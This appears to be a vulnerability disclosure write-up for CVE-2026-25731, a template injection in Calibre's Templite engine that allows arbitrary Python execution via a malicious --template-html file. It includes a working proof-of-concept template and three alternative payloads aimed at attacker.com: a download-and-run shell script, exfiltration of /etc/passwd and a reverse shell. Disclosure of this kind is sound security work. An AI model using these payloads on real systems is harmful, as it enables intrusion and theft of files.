← Achievements

CVE-2026-25731: Calibre Templite SSTI to Arbitrary Code Execution

📅 2026-02-10 📂 Vulnerability Discovery
CVESSTIRCECalibrePython
TL;DR:
Server-Side Template Injection vulnerability in Calibre's Templite engine allows arbitrary Python code execution via user-supplied HTML export templates in versions ≤ 9.1.0.

Summary

A Server-Side Template Injection (SSTI) vulnerability in Calibre's Templite templating engine allows arbitrary code execution when a user converts an ebook using a malicious custom template file via the --template-html or --template-html-index command-line options.

CVE ID: CVE-2026-25731
Advisory: GHSA-xrh9-w7qx-3gcc
Affected Versions: Calibre ≤ 9.1.0

Vulnerability Details

The Templite engine (src/templite/__init__.py) compiles and evaluates templates using Python's compile() and eval() functions without any sandboxing.

Vulnerable Code

In src/templite/__init__.py:

# Line 72: Template is compiled to Python code
self.__code = compile('\n'.join(tokens), '<templite %r>' % template[:20], 'exec')

# Line 90: Compiled code is executed via eval()
def render(self, __namespace=None, **kw):
    # ...
    eval(self.__code, namespace)  # Arbitrary code execution

Attack Vector

In src/calibre/ebooks/conversion/plugins/html_output.py, user-supplied template files are loaded and passed directly to the vulnerable Templite engine:

# Lines 96-98: User-supplied template file is loaded
if opts.template_html_index is not None:
    with open(opts.template_html_index, 'rb') as f:
        template_html_index_data = f.read()

# Line 136: Template is passed to vulnerable Templite engine
templite = Templite(template_html_index_data)

The same pattern exists for the --template-html option (lines 102-106, 200).

Proof of Concept

1. Create a malicious template file

Save the following as malicious_template.tmpl:

<!DOCTYPE html>
<html>
<head><title>Malicious Template</title></head>
<body>
<h1>Book converted!</h1>
<!-- SSTI payload executes arbitrary commands -->
${emit(__import__("os").popen("id > /tmp/pwned.txt").read())}$
${emit(__import__("os").popen("whoami").read())}$
</body>
</html>

2. Execute ebook conversion with the malicious template

ebook-convert input.epub output.zip --template-html=malicious_template.tmpl

3. Verify code execution

cat /tmp/pwned.txt
# Output: uid=501(username) gid=20(staff) groups=...

Alternative Payloads

# Command execution
${emit(__import__("os").popen("curl attacker.com/shell.sh | bash").read())}$

# File exfiltration
${emit(__import__("os").popen("curl -d @/etc/passwd attacker.com").read())}$

# Reverse shell
${emit(__import__("os").system("python3 -c 'import socket,subprocess;s=socket.socket();s.connect((\"attacker.com\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'"))}$

Impact

An attacker can craft a malicious template that, when used in ebook conversion, executes arbitrary Python code. This leads to full system compromise including file read/write, reverse shell, and data exfiltration.

References